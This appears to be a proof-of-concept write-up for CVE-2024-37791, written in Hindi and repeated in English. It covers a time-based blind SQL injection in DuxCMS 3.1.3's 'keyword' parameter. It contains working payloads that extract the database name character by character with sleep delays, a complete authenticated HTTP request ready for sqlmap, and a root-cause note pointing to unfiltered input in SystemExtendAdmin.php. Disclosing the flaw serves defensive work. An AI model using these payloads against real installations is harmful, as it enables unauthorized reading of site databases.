czheisenberg/cve-2024-37791DuxCMS3.1.3 में समय-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, प्रमाणित अनुरोधों और sqlmap एकीकरण के साथ 'कीवर्ड' पैरामीटर को लक्षित करना।
प्रोजेक्ट पता: ****
तैयारी का काम:
बैकएंड में लॉगिन करें - कुकी प्राप्त करें
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
कमजोरी पैरामीटर: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
इंजेक्शन सफल होने पर देरी एक सेकंड से अधिक होती है, अन्यथा कोई देरी नहीं होती
sqlmap सत्यापन:
कुकी आवश्यक है।
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
वर्तमान में उपयोग किए जा रहे डेटाबेस का नाम सफलतापूर्वक प्राप्त हुआ। यह कमजोरी मौजूद है।
इंजेक्शन पैरामीटर: keyword से खोज करने पर कॉल स्थान का पता लगाया जा सकता है।
app/system/admin/SystemExtendAdmin.php
पंक्ति 42:
like का उपयोग करके फजी मिलान किया गया और $value को फ़िल्टर नहीं किया गया, इसलिए क्वेरी में शामिल होने पर कमजोरी उत्पन्न हुई।
जब इनपुट: and(select*from(select sleep(3))a//union//select 1)=
जैसा कि ऊपर चित्र में दिखाया गया है: $value पैरामीटर पंक्ति 29 $pageParams = request(); रिक्वेस्ट से प्राप्त होता है, फिर पंक्ति 32 में $pageParams[$key] को urldecode() द्वारा डिकोड करके हमारा दुर्भावनापूर्ण SQL स्टेटमेंट प्राप्त होता है। कोई सुरक्षा उपाय नहीं हैं।
इसलिए सीधे payload जोड़ा गया
निष्पादन के बाद, पूरा SQL स्टेटमेंट है:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
Preparatory work:
Log in to the backend-get cookie.
Vulnerability parameter: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
If the injection is successful, the delay is more than one second, otherwise there is no delay.
Sqlmap authentication:
Cookie is required.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
The name of the currently used database was successfully obtained.
This vulnerability exists.
Retrieving from the injection parameter: keyword can locate the call location.
App/system/admin/SystemExtendAdmin.php.
Line 42.
There is a vulnerability in the query because it uses like for fuzzy matching and does not filter $value.
When entering: and (select*from (select sleep (3)) a//union//select 1) =
As shown in the figure above: the $value parameter is obtained from line 29$ pageParams = request (); request request, and then line 32 decodes $pageParams [$key] with urldecode () to get our malicious sql statement.
There are no defenses.
So the payload is spliced directly.
After execution, the complete sql statement is:
(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')